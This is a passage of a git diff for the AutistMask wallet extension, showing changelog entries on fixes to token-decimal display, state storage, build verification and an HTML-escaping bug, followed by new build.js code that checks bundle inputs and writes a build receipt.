`Min. received` figure while naming no output currency, so the approval screen
|
||||||
|
stated the wrong asset at the wrong scale. Null is not how V4 spells native
|
||||||
|
ETH: v4-core's `type Currency is address` wraps `address(0)` for it, which
|
||||||
|
reaches the decoder as the truthy string
|
||||||
|
`0x0000000000000000000000000000000000000000` and is named ETH there already.
|
||||||
|
`Token Out` now reads `Unknown (not named in the calldata)` and
|
||||||
|
`Min. received` falls to the base-unit refusal from
|
||||||
|
[#340](https://git.eeqj.de/sneak/AutistMask/issues/340).
|
||||||
|
|
||||||
|
- 2026-08-23: The stored profile carries a schema version, and a record the
|
||||||
|
wallet cannot read produces a screen instead of a blank popup
|
||||||
|
([#311](https://git.eeqj.de/sneak/AutistMask/issues/311)). `saveState()` and
|
||||||
|
`updateState()` both stamp `STATE_SCHEMA_VERSION`
|
||||||
|
(`src/shared/stateSchema.js`), and every read goes through
|
||||||
|
`assertStateUsable()` on the raw bytes before normalization gets a chance to
|
||||||
|
paper over them. Version 1 is the shape that shipped unversioned, so the
|
||||||
|
profile every existing install holds loads normally and is migrated in place
|
||||||
|
by being stamped on the first write — an upgrade shows nobody a wipe prompt
|
||||||
|
for a wallet that is fine. A record this build cannot vouch for is refused
|
||||||
|
instead: not normalized, not written back, not half-loaded. The popup shows
|
||||||
|
the new StateRecovery screen, which names the problem, exports the raw record
|
||||||
|
verbatim into the page (and downloads it where the browser allows), and offers
|
||||||
|
an erase behind a typed `ERASE MY WALLET` — both controls, because an export
|
||||||
|
with no reset leaves the user stuck and a reset with no export destroys the
|
||||||
|
only copy of possibly recoverable key material. The background refuses the
|
||||||
|
same record and answers dApps `-32007` — a code EIP-1474 leaves unassigned,
|
||||||
|
unlike `-32000`..`-32006` — with a message saying the saved data cannot be
|
||||||
|
read and that nothing was signed or sent, rather than the generic `-32603`
|
||||||
|
that every request used to get. Fields the gate deliberately does not check
|
||||||
|
produced the same blank popup on their own: `trackedTokens` and
|
||||||
|
`activeAddress` were floored on truthiness rather than on type, and
|
||||||
|
`trackedTokens`' ENTRIES and each address's `tokenBalances` were not floored
|
||||||
|
at all — `[1, 2]` is a list, and the dereference is `t.address.toLowerCase()`
|
||||||
|
one level below the container. All of them are type-checked now, entries
|
||||||
|
included, and the header of `src/shared/stateSchema.js` lists which fields of
|
||||||
|
the record get a type check and which get a `saved.x || default` or a verbatim
|
||||||
|
passthrough, rather than asserting a rule the module does not follow.
|
||||||
|
`networkById()` now throws on an id it does not know instead of quietly
|
||||||
|
answering mainnet, and the gate's key tests are all own-property tests:
|
||||||
|
`networkId` is an object key into `networkEndpoints`, so an unvalidated
|
||||||
|
`"__proto__"` used to set that map's prototype and drop the user's endpoint
|
||||||
|
silently. The three corrupt blobs from the issue drive the real popup entry
|
||||||
|
point in `tests/stateRecovery.test.js` and the real worker in
|
||||||
|
`tests/stateUnusableRpc.test.js`; each rendered nothing at all and answered
|
||||||
|
`-32603` before this. `src/popup/restorableViews.js` moved to
|
||||||
|
`src/shared/restorableViews.js`, since `persistedState.js` requires it and
|
||||||
|
that module is in the background bundle.
|
||||||
|
|
||||||
|
- 2026-08-23: An explorer that reports no `decimals` for a token no longer has a
|
||||||
|
scale invented for it before storage
|
||||||
|
([#349](https://git.eeqj.de/sneak/AutistMask/issues/349)).
|
||||||
|
`fetchTokenBalances()` did `parseInt(item.token.decimals || "18", 10)` on the
|
||||||
|
way in, so a token whose `decimals()` reverts was written to
|
||||||
|
`tokenBalances[].decimals` as a fabricated `18` that no reader could tell from
|
||||||
|
a real one. That is upstream of the resolve-or-refuse rule
|
||||||
|
([#306](https://git.eeqj.de/sneak/AutistMask/issues/306),
|
||||||
|
[#340](https://git.eeqj.de/sneak/AutistMask/issues/340)): both approval paths
|
||||||
|
read this stored value as an authoritative source, so the guess walked past
|
||||||
|
refusals that were intact and simply never fired. The stored value is now the
|
||||||
|
explorer's own answer or `null`, and both the ERC-20 amount line and the swap
|
||||||
|
lines reach `unknownDecimalsAmount()` on it. The history list's token
|
||||||
|
transfers carried the same `|| "18"` and now state base units with the scale
|
||||||
|
unknown rather than a quantity. A holding whose scale nothing knows carries
|
||||||
|
`balance: null` — unknown, not zero — and the balance list, the USD total, the
|
||||||
|
Send screen and the confirmation screen each say so instead of printing
|
||||||
|
`0.0000` for money that is really there. The uint8 check is one shared
|
||||||
|
`toDecimals()` rather than three copies, and it answers `0` for a real scale
|
||||||
|
of zero: `|| "18"` collapsed that to eighteen, the trap of
|
||||||
|
[#246](https://git.eeqj.de/sneak/AutistMask/issues/246). Existing installs
|
||||||
|
hold `18`s that cannot be told apart retroactively; they display exactly as
|
||||||
|
they do today until the next balance refresh, which rewrites `tokenBalances`
|
||||||
|
wholesale and needs no user action. No `|| 18` or `?? 18` fallback remains
|
||||||
|
anywhere in `src/`; the literal `18`s that do remain are real data, not
|
||||||
|
defaults — 432 per-token `decimals: 18` entries in the bundled
|
||||||
|
`src/shared/tokenList.js`, and, outside that file, only native ETH's
|
||||||
|
protocol-defined scale in `src/shared/uniswap.js` and the fixed-point
|
||||||
|
comparison scale in `src/shared/txValidation.js`. `tokenBalances[].decimals`
|
||||||
|
is the explorer's answer alone and not the scale a screen renders at, so the
|
||||||
|
Send screen resolves through `resolveTokenDecimals()` like every other
|
||||||
|
consumer: reading the stored field raw carried a `null` into `estimateGas()`
|
||||||
|
for a bundled token such as WETH, which reported an unestimable network fee
|
||||||
|
and left Send disabled behind a message no retry could clear. Send resolves
|
||||||
|
with `wallets`, which adds the cross-address disagreement check the balance
|
||||||
|
list does not make, so the two can differ; where they do, the stored quantity
|
||||||
|
was computed at a scale Send has refused, and it is withdrawn with it. An
|
||||||
|
unknown scale is an unknown balance, and the user is told that rather than
|
||||||
|
that the fee could not be estimated.
|
||||||
|
|
||||||
|
- 2026-08-23: The background no longer reads or writes the shared `state`
|
||||||
|
singleton ([#324](https://git.eeqj.de/sneak/AutistMask/issues/324)), which
|
||||||
|
also closes the cold-worker wrong-chain send
|
||||||
|
([#320](https://git.eeqj.de/sneak/AutistMask/issues/320)). One in-memory copy
|
||||||
|
loaded once is the popup's lifetime, not the MV3 worker's: the worker is
|
||||||
|
killed when idle, nothing loaded state at module scope, and an unpopulated
|
||||||
|
read was answered out of `DEFAULT_STATE` in silence. Five defects traced to
|
||||||
|
that, and every point fix added a `loadState()` that created the next one — a
|
||||||
|
load detaches the objects an in-flight handler is holding. The background now
|
||||||
|
has its own storage layer (`src/background/state.js`): `getState()` for a
|
||||||
|
detached per-call read, `updateState()` for a queued read-modify-write.
|
||||||
|
`backgroundRefresh()` refreshes a private copy and applies the balances that
|
||||||
|
came back by address, so a wallet added, renamed or deleted during the round
|
||||||
|
trip survives. The transaction attempt takes its chain id and its endpoint
|
||||||
|
from one snapshot, so a committed chain switch can no longer move the endpoint
|
||||||
|
under an artifact already verified against the old chain. `getProvider()` now
|
||||||
|
REQUIRES the network id, which is what closes
|
||||||
|
[#320](https://git.eeqj.de/sneak/AutistMask/issues/320) at the shape rather
|
||||||
|
than at the call site. The prohibition is enforced by `build.js`, which fails
|
||||||
|
the build when esbuild's own metafile reports `src/shared/state.js` as an
|
||||||
|
input of either background bundle — the resolution the shipped bundle was
|
||||||
|
actually built from, so no specifier syntax and no resolution rule can slip
|
||||||
|
past it, and `make build` runs in CI. A bundled entry point under
|
||||||
|
`src/background/` with no line in the table fails the build too, so a second
|
||||||
|
worker entry point is protected by default rather than only if whoever adds it
|
||||||
|
knows the table exists. The assertion itself is pinned by
|
||||||
|
`tests/buildForbiddenInputs.test.js`, including every way its table can rot: a
|
||||||
|
key no bundled entry point matched, a forbidden module this build bundled
|
||||||
|
nowhere, and an entry that lists no modules (which would otherwise empty the
|
||||||
|
lint rule's forbidden set as well, and is refused at require time). Its bound
|
||||||
|
is that it is keyed by path, so a COPY of the singleton at another path is
|
||||||
|
outside it — loud for three of the five defects and silent for the other two;
|
||||||
|
the bounds are recorded in full where the table lives
|
||||||
|
(`script/lib/forbiddenBundleInputs.js`). An ESLint rule that walks the require
|
||||||
|
graph textually gives the same answer in the editor, before a full bundle; it
|
||||||
|
reads the same table, and it is fast feedback rather than the guarantee. The
|
||||||
|
shapes it catches are pinned by `tests/backgroundStateLintRule.test.js`, and
|
||||||
|
so are the two it misses — a computed specifier and a symlink — as asserted
|
||||||
|
non-reports, which the build fails on. Reading an unloaded singleton now
|
||||||
|
throws `StateNotLoadedError` instead of serving defaults. The
|
||||||
|
`chrome.storage.local` stubs in eight test files aliased instead of
|
||||||
|
structured-cloning, which could let an assertion pass on a build that never
|
||||||
|
wrote anything; every test that drives real persistence now goes through
|
||||||
|
`tests/support/storageStub.js`.
|
||||||
|
- 2026-08-23: A swap always names its output token
|
||||||
|
([#346](https://git.eeqj.de/sneak/AutistMask/issues/346)). The `Token Out`
|
||||||
|
detail line in `src/shared/uniswap.js` was pushed only when a symbol was
|
||||||
|
known, so a swap whose output token is absent from the bundled list — every
|
||||||
|
newly listed token — showed a `Min. received` figure with nothing saying what
|
||||||
|
was being received. The line is now keyed on the token's address and falls
|
||||||
|
back to it when there is no symbol, exactly as the `Token In` line already
|
||||||
|
did. It composes with the unknown-scale refusal from
|
||||||
|
[#340](https://git.eeqj.de/sneak/AutistMask/issues/340): the address says
|
||||||
|
which token, the base-unit figure says how much and states that the scale is
|
||||||
|
unknown.
|
||||||
|
- 2026-08-23: The swap approval screen no longer guesses 18 decimals for a token
|
||||||
|
outside the bundled list
|
||||||
|
([#340](https://git.eeqj.de/sneak/AutistMask/issues/340)). `tokenInfo()` in
|
||||||
|
`src/shared/uniswap.js` returned `decimals: 18` for any such token — the same
|
||||||
|
assumption [#306](https://git.eeqj.de/sneak/AutistMask/issues/306) removed
|
||||||
|
from the ERC-20 amount line — so a 1,000-unit swap of a 6-decimal token was
|
||||||
|
stated as `0.000000001`, and every newly listed token reached it. The swap's
|
||||||
|
`Amount` and `Min. received` lines now resolve the scale through
|
||||||
|
`resolveTokenDecimals()`, the same bundled-list-then-tracked-then-explorer
|
||||||
|
order the ERC-20 line uses, and where nothing knows it they render
|
||||||
|
`unknownDecimalsAmount()` — base units with the scale stated — instead of a
|
||||||
|
number. No new data source and no network call: the scale comes only from what
|
||||||
|
the wallet already holds. An unbounded permit is still shown as `Unlimited`.
|
||||||
|
`README.md` records the rule as a Display Consistency exception.
|
||||||
|
- 2026-08-23: A failed release build no longer leaves a loadable debug bundle in
|
||||||
|
`dist/` ([#333](https://git.eeqj.de/sneak/AutistMask/issues/333)). With
|
||||||
|
`AUTISTMASK_DEBUG=1` exported, `make build` compiled a debug bundle and failed
|
||||||
|
on it in `script/verify-build` — but the bundle stayed on disk, loadable, with
|
||||||
|
every wallet it creates using the publicly committed test recovery phrase.
|
||||||
|
Every step of `make build` now runs through `script/discard-dist-on-failure`,
|
||||||
|
which removes `dist/` when a step fails and says on stderr that it did and
|
||||||
|
why; a removal it cannot complete is reported just as loudly.
|
||||||
|
`make build-debug` is deliberately not wrapped: its output is not mistakable
|
||||||
|
for a release build and is the evidence of the failure.
|
||||||
|
`script/test-verify-build` asserts the state of `dist/` on disk after a
|
||||||
|
failing and a succeeding step, not just the exit status, and reads `make -n`
|
||||||
|
to check the wrapper is on the release path and only there.
|
||||||
|
- 2026-08-23: `README.md` and `script/verify-build`'s own comments now state the
|
||||||
|
emitted-tree guarantee at the width the code actually enforces
|
||||||
|
([#331](https://git.eeqj.de/sneak/AutistMask/issues/331)). The tree walk is
|
||||||
|
`-type f -o -type l`, so the guarantee covers regular files and symlinks under
|
||||||
|
`dist/`; fifos, sockets, device nodes and empty directories are not checked,
|
||||||
|
because a build emits none of them, none can carry a shippable payload, and
|
||||||
|
`grep` on a fifo would hang rather than fail. The exclusion is deliberate and
|
||||||
|
unchanged — the README said "nothing under `dist/` that the build did not
|
||||||
|
write", which was broader than that. Documentation only; no executable line
|
||||||
|
changed.
|
||||||
|
- 2026-08-23: An amount below the 4-decimal display floor no longer reads as
|
||||||
|
zero on the approval screens
|
||||||
|
([#322](https://git.eeqj.de/sneak/AutistMask/issues/322)). With the token's
|
||||||
|
true scale resolved, the 4-decimal truncation still printed a small amount as
|
||||||
|
`0.0000` — 1 base unit of an 18-decimal token, 500 of an 8-decimal one — so a
|
||||||
|
real transfer, allowance or swap was stated as nothing on the one screen whose
|
||||||
|
job is to say what is being authorized, and a swap's `Min. received` claimed
|
||||||
|
the user might receive nothing. Three copies of that truncation existed; they
|
||||||
|
now share `src/shared/amountDisplay.js`. Everything the approval and
|
||||||
|
confirmation screens render (`src/popup/views/approval.js`,
|
||||||
|
`src/shared/uniswap.js`) extends to the first significant digit when the
|
||||||
|
truncated figure would otherwise read as zero, keeping the amount in token
|
||||||
|
units rather than switching to base units mid-line. The history and balance
|
||||||
|
lists (`src/shared/transactions.js`) keep the unfloored rule, which is out of
|
||||||
|
scope by the issue's definition of done. `README.md`'s Display Consistency
|
||||||
|
section records the exception.
|
||||||
|
- 2026-08-23: The extension can be installed once and kept
|
||||||
|
([#310](https://git.eeqj.de/sneak/AutistMask/issues/310)). There was no
|
||||||
|
packaging target anywhere, no artifact, and `manifest/chrome.json` carried no
|
||||||
|
`key` — so an unpacked Chrome load derived its extension id, and therefore its
|
||||||
|
`chrome.storage.local` partition, from the absolute checkout path: moving or
|
||||||
|
re-cloning the checkout presented an empty wallet with no error. The manifest
|
||||||
|
now carries a fixed `key` (public half only; the private half is a credential
|
||||||
|
and is not in this repo, and no target generates one into the tree), pinning
|
||||||
|
the id to `gipbhkogfopeahplcjhipkgpcimdpkip`. `make package` produces
|
||||||
|
`release/autistmask-chrome-<version>.zip` and
|
||||||
|
`release/autistmask-firefox-<version>.xpi` plus `SHA256SUMS`,
|
||||||
|
deterministically and via `make build` so the archives can only be made from a
|
||||||
|
`dist/` already verified against that build's receipt as a release build;
|
||||||
|
every path the manifests and the popup HTML reference is resolved and required
|
||||||
|
to be inside the archive, and the archive is read back off disk and compared
|
||||||
|
member by member — `dist/styles.css` sits at the `dist/` root outside both
|
||||||
|
browser directories and is reported as deliberately not shipped rather than
|
||||||
|
dropped by a glob. One version: `script/lib/version.js` fails the build when
|
||||||
|
`package.json` and the two manifests disagree, instead of reading from one of
|
||||||
|
them. `BUILD_COMMIT` now carries `-dirty` when the working tree does not match
|
||||||
|
`HEAD` (and `-unknown` when git cannot say), while the full hash behind the
|
||||||
|
About screen's commit link stays clean so the link still resolves. Two real
|
||||||
|
browser observations back it: `tests/e2e/storagePartition.js` loads the
|
||||||
|
extension from two different paths in one Chrome profile with and without
|
||||||
|
`key` and records what each does, and `tests/e2e/firefox/reinstall.js`
|
||||||
|
installs the packaged XPI in a real Firefox, creates a wallet, restarts the
|
||||||
|
browser on the same profile, adds the add-on again and decrypts the vault back
|
||||||
|
to the original recovery phrase — and then observes that an explicit uninstall
|
||||||
|
DESTROYS that storage, which is correct browser behaviour but means Remove is
|
||||||
|
irreversible for a wallet, now stated in README.md. Deliberately not done: AMO
|
||||||
|
signing, CRX packing, tagging and any upload — the Firefox artifact is
|
||||||
|
UNSIGNED and README.md now states that release Firefox and ESR refuse it, that
|
||||||
|
Developer Edition or an Unbranded build is required, and that a temporary
|
||||||
|
add-on does not survive a browser restart.
|
||||||
|
- 2026-08-20: A second extension page can no longer silently delete a wallet
|
||||||
|
([#304](https://git.eeqj.de/sneak/AutistMask/issues/304)). `saveState()` wrote
|
||||||
|
the entire state blob, and every extension page — the toolbar popup, a dApp
|
||||||
|
approval window, `backgroundRefresh()` — holds its own in-memory `state`,
|
||||||
|
loaded once, with `showView()` saving on every navigation; a second page that
|
||||||
|
saved after a first had written something new overwrote it, no attacker or
|
||||||
|
unusual input required. `saveState()` is now a read-modify-write: it re-reads
|
||||||
|
storage, diffs the persisted fields against a deep-cloned `baseline` snapshot
|
||||||
|
taken at the last `loadState()`/`saveState()` on that page, and writes only
|
||||||
|
the fields that actually changed — everything else is carried forward from
|
||||||
|
storage in its loaded-and-normalized shape (`normalizePersisted()`, shared
|
||||||
|
with `loadState()`), so a legacy or malformed record a load has always
|
||||||
|
self-healed in memory keeps getting written back even on a save that touched
|
||||||
|
something else entirely. `showView()` fires `saveState()` on every navigation
|
||||||
|
without awaiting it, so two saves from the same page can be in flight at once;
|
||||||
|
a FIFO queue serializes them rather than letting a slow one finish after a
|
||||||
|
later one and re-derive a stale answer. Deliberately not done: the live
|
||||||
|
`state` of a field this page does not own is not rehydrated from what another
|
||||||
|
page wrote, only the persisted record is — adopting a concurrently-written
|
||||||
|
value into `state` reintroduced the same clobber one page later, caught by
|
||||||
|
`tests/txStatus.test.js` red. Two writers of the same field still resolve
|
||||||
|
last-writer-wins, documented at the merge point. `tests/stateMerge.test.js`
|
||||||
|
covers the two-page save and the approval-window reproduction from the issue —
|
||||||
|
add a wallet in one page, force a save from a second page loaded before it,
|
||||||
|
both wallets survive — each demonstrated failing against the unfixed full-blob
|
||||||
|
write.
|
||||||
|
- 2026-08-20: A forgotten password no longer wedges the wallet
|
||||||
|
([#312](https://git.eeqj.de/sneak/AutistMask/issues/312)). Deleting a wallet
|
||||||
|
was password-gated and importing its recovery phrase again was refused as a
|
||||||
|
duplicate xpub, so a user who had the phrase but not the password could
|
||||||
|
neither leave nor come back: the only way out was clearing extension storage
|
||||||
|
through browser internals, which takes every other wallet with it.
|
||||||
|
DeleteWallet now offers "I have lost my password", a screen that destroys the
|
||||||
|
wallet after the user types its name back — no password, because requiring one
|
||||||
|
to _discard_ a secret protects nobody. An attacker at the popup who wants the
|
||||||
|
wallet gone can uninstall the extension; the only person such a gate stopped
|
||||||
|
was the owner who forgot it. That was chosen over allowing a duplicate xpub to
|
||||||
|
re-encrypt in place: re-import would have had to be built three times over
|
||||||
|
(`hd` and `xprv` by xpub, `key` by address), would make the user retype the
|
||||||
|
recovery phrase into a live popup to change a password, and reaches no state
|
||||||
|
that delete-then-import does not already reach through `scanForAddresses()`.
|
||||||
|
Both routes share one `finishDelete()`, so the selection repair, the
|
||||||
|
site-permission cleanup and the `AUTISTMASK_ACTIVE_CHANGED` broadcast cannot
|
||||||
|
diverge between them, and the new screen is excluded from `RESTORABLE_VIEWS` —
|
||||||
|
a popup reopened by accident must not land on a button that erases key
|
||||||
|
material. AddWallet's password hint now says, per import mode, that the
|
||||||
|
password cannot be recovered or reset and what the only backup is; the hint
|
||||||
|
line reserves its height so switching tabs cannot move the password fields.
|
||||||
|
The test drives the real view against a `chrome.storage.local` stub that
|
||||||
|
structured-clones on both `set` and `get` and asserts against the read-back,
|
||||||
|
so it fails on the deletion of `saveState()` and not only on an in-memory
|
||||||
|
splice.
|
||||||
|
- 2026-08-20: `make build` can no longer hand back a debug build, and
|
||||||
|
`script/verify-build` can no longer be satisfied by bytes the build did not
|
||||||
|
produce ([#309](https://git.eeqj.de/sneak/AutistMask/issues/309)). The
|
||||||
|
verifier used to compute its expectation from `AUTISTMASK_DEBUG` in its own
|
||||||
|
environment, so an operator with that exported who ran the release target got
|
||||||
|
a debug bundle — every wallet it creates carrying the publicly committed test
|
||||||
|
phrase — certified green at exit 0. The expected mode is now the required
|
||||||
|
argument `--expect release|debug`, with no default and nothing read from the
|
||||||
|
environment, and the `Makefile` scrubs the flag from the verifier while
|
||||||
|
deliberately leaving it reaching the compiler, so that shell fails the build
|
||||||
|
loudly instead of quietly getting something other than what it asked for.
|
||||||
|
Provenance was the other half: the check was a marker grep over a file list
|
||||||
|
read back out of `dist/`, so a 26-byte file containing only
|
||||||
|
`autistmask-build-debug=off` verified `ok`, `manifest.json` and the content
|
||||||
|
script that runs on every page were never read at all, and an entire
|
||||||
|
hand-written `dist/` passed. `build.js` now records every file it emits, with
|
||||||
|
its sha256 and whether it is one of the bundles containing `constants.js`,
|
||||||
|
into a receipt whose path the `Makefile` makes fresh per invocation outside
|
||||||
|
the repo and deletes afterwards; `dist/constants-bundles.txt` is gone, and
|
||||||
|
`dist/` is cleared before a build so it holds only what that build wrote. The
|
||||||
|
standalone `make verify-build` target went with it: re-verifying a `dist/`
|
||||||
|
from the `dist/` itself is the thing that was broken. What this establishes is
|
||||||
|
narrow and stated as such in README.md — `dist/` is byte for byte the output
|
||||||
|
of the `build.js` run that just finished — and it is not signing, which is
|
||||||
|
[#310](https://git.eeqj.de/sneak/AutistMask/issues/310).
|
||||||
|
`script/test-verify-build` grew from 18 cases to 39, including one per
|
||||||
|
demonstrated bypass and the `make -n` read-back that proves the recipes pass
|
||||||
|
the mode as an argument.
|
||||||
|
- 2026-08-20: A hostile ERC-20 symbol no longer renders as live HTML in the
|
||||||
|
popup ([#307](https://git.eeqj.de/sneak/AutistMask/issues/307)). A token
|
||||||
|
symbol is whatever the contract's `symbol()` returns, the block explorer
|
||||||
|
passes it through unfiltered, and `balanceLine()` interpolated it into an
|
||||||
|
`innerHTML` string — so a token with the 1,000 holders the spam filter asks
|
||||||
|
for, airdropped to the victim, could paint a full-viewport cross-origin iframe
|
||||||
|
over the wallet's own UI, on the screens where the user types their password.
|
||||||
|
`escapeHtml` moved to `src/shared/html.js` as a pure string replace over `&`,
|
||||||
|
`<`, `>`, `"` and `'`: the old implementation round-tripped through a detached
|
||||||
|
element's `textContent`, which does not escape quotes, and it was already
|
||||||
|
being used inside `data-copy="..."`. Every interpolation into an `innerHTML`
|
||||||
|
string across `src/popup/views/` was audited, not just the reported one — the
|
||||||
|
transaction lists' direction label, the wallet name and ENS name in the Home
|
||||||
|
list, the `href` in the explorer link, and the confirmation screen's warning
|
||||||
|
line were all unescaped as well. Both manifests now declare
|
||||||
|
`default-src 'self'` with `frame-src 'none'`; the four directives that had to
|
||||||
|
stay looser than `'self'` are named and justified in the Content Security
|
||||||
|
Policy section of README.md, and `tests/manifest.test.js` pins the whole set
|
||||||
|
exactly. A display cap of 12 characters bounds the symbol, matching the bound
|
||||||
|
`lookupTokenInfo()` already applied on the contract-read path. Not repurposed
|
||||||
|
for any of this: `isSpoofedSymbol()`, which answers a different question and
|
||||||
|
would have been the wrong control.
|
||||||
- 2026-08-20: A page asking which chain the wallet is on is told the chain the
|
- 2026-08-20: A page asking which chain the wallet is on is told the chain the
|
||||||
user is actually on ([#317](https://git.eeqj.de/sneak/AutistMask/issues/317)).
|
user is actually on ([#317](https://git.eeqj.de/sneak/AutistMask/issues/317)).
|
||||||
`eth_chainId` and `net_version` answered from `currentNetwork()`, which reads
|
`eth_chainId` and `net_version` answered from `currentNetwork()`, which reads
|
||||||
|
|||||||
493
build.js
493
build.js
@@ -1,19 +1,66 @@
|
|||||||
const fs = require("fs");
|
const fs = require("fs");
|
||||||
const path = require("path");
|
const path = require("path");
|
||||||
|
const crypto = require("crypto");
|
||||||
const { execSync } = require("child_process");
|
const { execSync } = require("child_process");
|
||||||
const esbuild = require("esbuild");
|
const esbuild = require("esbuild");
|
||||||
|
const { resolveVersion } = require("./script/lib/version");
|
||||||
|
const {
|
||||||
|
BACKGROUND_ENTRY_PREFIX,
|
||||||
|
FORBIDDEN_INPUTS,
|
||||||
|
assertTableWellFormed,
|
||||||
|
} = require("./script/lib/forbiddenBundleInputs");
|
||||||
|
|
||||||
const DIST = path.join(__dirname, "dist");
|
const DIST = path.join(__dirname, "dist");
|
||||||
const DIST_CHROME = path.join(DIST, "chrome");
|
const DIST_CHROME = path.join(DIST, "chrome");
|
||||||
const DIST_FIREFOX = path.join(DIST, "firefox");
|
const DIST_FIREFOX = path.join(DIST, "firefox");
|
||||||
const SRC = path.join(__dirname, "src");
|
const SRC = path.join(__dirname, "src");
|
||||||
|
|
||||||
// The module whose compiled DEBUG state script/verify-build asserts, and the
|
// The module whose compiled DEBUG state script/verify-build asserts. Which
|
||||||
// manifest naming every emitted bundle that ends up containing it. The
|
// bundles contain it is derived from esbuild's own dependency graph rather
|
||||||
// manifest is derived from esbuild's own dependency graph rather than from a
|
// than from a hardcoded list, so it tracks the bundle layout instead of
|
||||||
// hardcoded list, so it tracks the bundle layout instead of rotting with it.
|
// rotting with it.
|
||||||
const AUDITED_MODULE = "src/shared/constants.js";
|
const AUDITED_MODULE = "src/shared/constants.js";
|
||||||
const BUNDLE_MANIFEST = path.join(DIST, "constants-bundles.txt");
|
|
||||||
|
// FORBIDDEN_INPUTS — what each entry point's bundle may not contain, and what
|
||||||
|
// that covers — lives in script/lib/forbiddenBundleInputs.js, because the
|
||||||
|
// ESLint rule reads the same table and two literal copies of a path drift.
|
||||||
|
//
|
||||||
|
// This is the authoritative check, and it is here rather than in the linter
|
||||||
|
// because it consults the resolution esbuild actually performed. Any specifier
|
||||||
|
// syntax, any hop, any resolution rule that puts the module in the bundle fails
|
||||||
|
// the build, whether or not a text matcher would have recognized it. A
|
||||||
|
// background entry point the table does not name fails as well, so a second
|
||||||
|
// worker is protected by default rather than by someone remembering this file.
|
||||||
|
// Dockerfile:42 runs `make build`, so it is enforced in CI.
|
||||||
|
|
||||||
|
// The build receipt: every file this build emits, with its sha256 and whether
|
||||||
|
// it is one of the audited bundles. script/verify-build is handed this and
|
||||||
|
// checks dist/ against it, so the file list comes from the build that just ran
|
||||||
|
// rather than being read back out of the tree it is supposed to vouch for.
|
||||||
|
//
|
||||||
|
// The path is supplied by the caller, not chosen here, and the Makefile makes
|
||||||
|
// a fresh one per invocation outside the repo: that is what ties a receipt to
|
||||||
|
// one build rather than leaving a standing file anyone can write.
|
||||||
|
const RECEIPT_HEADER = "autistmask-build-receipt v1";
|
||||||
|
const RECEIPT_ENV = "AUTISTMASK_BUILD_RECEIPT";
|
||||||
|
|
||||||
|
// Every emitted path must be plainly nameable, because the receipt is a
|
||||||
|
// line-oriented text file consumed by a POSIX shell script and a path with a
|
||||||
|
// space or a newline in it could not be read back unambiguously. Nothing this
|
||||||
|
// build emits looks like that; if that ever changes, the build fails here
|
||||||
|
// rather than writing a receipt that cannot be checked.
|
||||||
|
const SAFE_EMITTED_PATH = /^dist\/[A-Za-z0-9._][A-Za-z0-9._/-]*$/;
|
||||||
|
|
||||||
|
// Where each browser directory's manifest comes from, and — through its
|
||||||
|
// "icons" — which image files ship inside that directory.
|
||||||
|
const MANIFEST_SOURCES = new Map([
|
||||||
|
[DIST_CHROME, path.join(__dirname, "manifest", "chrome.json")],
|
||||||
|
[DIST_FIREFOX, path.join(__dirname, "manifest", "firefox.json")],
|
||||||
|
]);
|
||||||
|
|
||||||
|
// What an "icons" entry may name: a plain file under icons/, so a manifest
|
||||||
|
// value is never joined into a path that leaves the repo.
|
||||||
|
const ICON_REF_RE = /^icons\/[A-Za-z0-9._-]+\.png$/;
|
||||||
|
|
||||||
function ensureDir(dir) {
|
function ensureDir(dir) {
|
||||||
fs.mkdirSync(dir, { recursive: true });
|
fs.mkdirSync(dir, { recursive: true });
|
||||||
@@ -31,10 +78,10 @@ function repoRelative(p) {
|
|||||||
// searching the minified text, it does not depend on what survived minification.
|
// searching the minified text, it does not depend on what survived minification.
|
||||||
//
|
//
|
||||||
// The ".js" filter below is the only place that assumption lives:
|
// The ".js" filter below is the only place that assumption lives:
|
||||||
// script/verify-build searches every file and symlink under dist/ for a
|
// script/verify-build reads every file the receipt names, whatever its
|
||||||
// marker, without filtering by extension, and hard-fails if it cannot walk the
|
// extension, and fails on any that carries a debug marker without being
|
||||||
// whole tree, so a bundle emitted under some other extension fails there as
|
// recorded as an audited bundle — so a bundle emitted under some other
|
||||||
// unlisted rather than escaping both checks at once.
|
// extension fails there rather than escaping both checks at once.
|
||||||
function outputsContainingAuditedModule(metafile) {
|
function outputsContainingAuditedModule(metafile) {
|
||||||
return Object.entries(metafile.outputs)
|
return Object.entries(metafile.outputs)
|
||||||
.filter(([outFile, info]) => {
|
.filter(([outFile, info]) => {
|
||||||
@@ -46,6 +93,288 @@ function outputsContainingAuditedModule(metafile) {
|
|||||||
.map(([outFile]) => repoRelative(outFile));
|
.map(([outFile]) => repoRelative(outFile));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Shortest import chain from `entryInput` to `target` through the metafile's
|
||||||
|
// own input graph, or null when there is none. The message this feeds is the
|
||||||
|
// point of the check: "state.js is in the worker bundle" is not actionable on
|
||||||
|
// its own, "index.js -> chainSwitchFields.js -> state.js" is.
|
||||||
|
function importChain(metafile, entryInput, target) {
|
||||||
|
const graph = new Map(
|
||||||
|
Object.entries(metafile.inputs).map(([input, info]) => [
|
||||||
|
repoRelative(input),
|
||||||
|
(info.imports || []).map((i) => repoRelative(i.path)),
|
||||||
|
]),
|
||||||
|
);
|
||||||
|
const start = repoRelative(entryInput);
|
||||||
|
const seen = new Set([start]);
|
||||||
|
const queue = [[start]];
|
||||||
|
while (queue.length > 0) {
|
||||||
|
const chain = queue.shift();
|
||||||
|
for (const next of graph.get(chain[chain.length - 1]) || []) {
|
||||||
|
if (next === target) return chain.concat([next]);
|
||||||
|
if (seen.has(next)) continue;
|
||||||
|
seen.add(next);
|
||||||
|
queue.push(chain.concat([next]));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
// What the forbidden-input checks accumulate over a whole build: which
|
||||||
|
// FORBIDDEN_INPUTS keys were actually bundled, and every input of every output
|
||||||
|
// this build emitted. Both are read by assertForbiddenTableCovered() at the
|
||||||
|
// end — a table entry naming something that is not there any more enforces
|
||||||
|
// nothing, and must fail rather than pass quietly.
|
||||||
|
function newForbiddenRecord() {
|
||||||
|
return { entriesChecked: new Set(), bundledInputs: new Set() };
|
||||||
|
}
|
||||||
|
|
||||||
|
// Note every input of every output of one esbuild run. Deliberately not
|
||||||
|
// restricted to the entry points named in FORBIDDEN_INPUTS: it is the POPUP
|
||||||
|
// that legitimately bundles src/shared/state.js, and that is what makes
|
||||||
|
// "the forbidden module still exists at this path" checkable at all.
|
||||||
|
function recordBundledInputs(metafile, record) {
|
||||||
|
